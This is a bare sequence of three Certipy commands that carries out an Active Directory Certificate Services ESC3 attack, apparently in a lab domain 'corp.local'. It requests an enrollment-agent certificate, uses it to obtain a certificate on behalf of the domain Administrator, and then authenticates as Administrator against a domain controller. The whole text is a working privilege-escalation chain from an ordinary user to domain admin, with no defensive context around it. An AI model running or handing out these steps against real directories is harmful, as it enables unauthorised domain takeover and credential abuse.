$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC3-Test
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -on-behalf-of 'corp\Administrator' -pfx john.pfx
certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128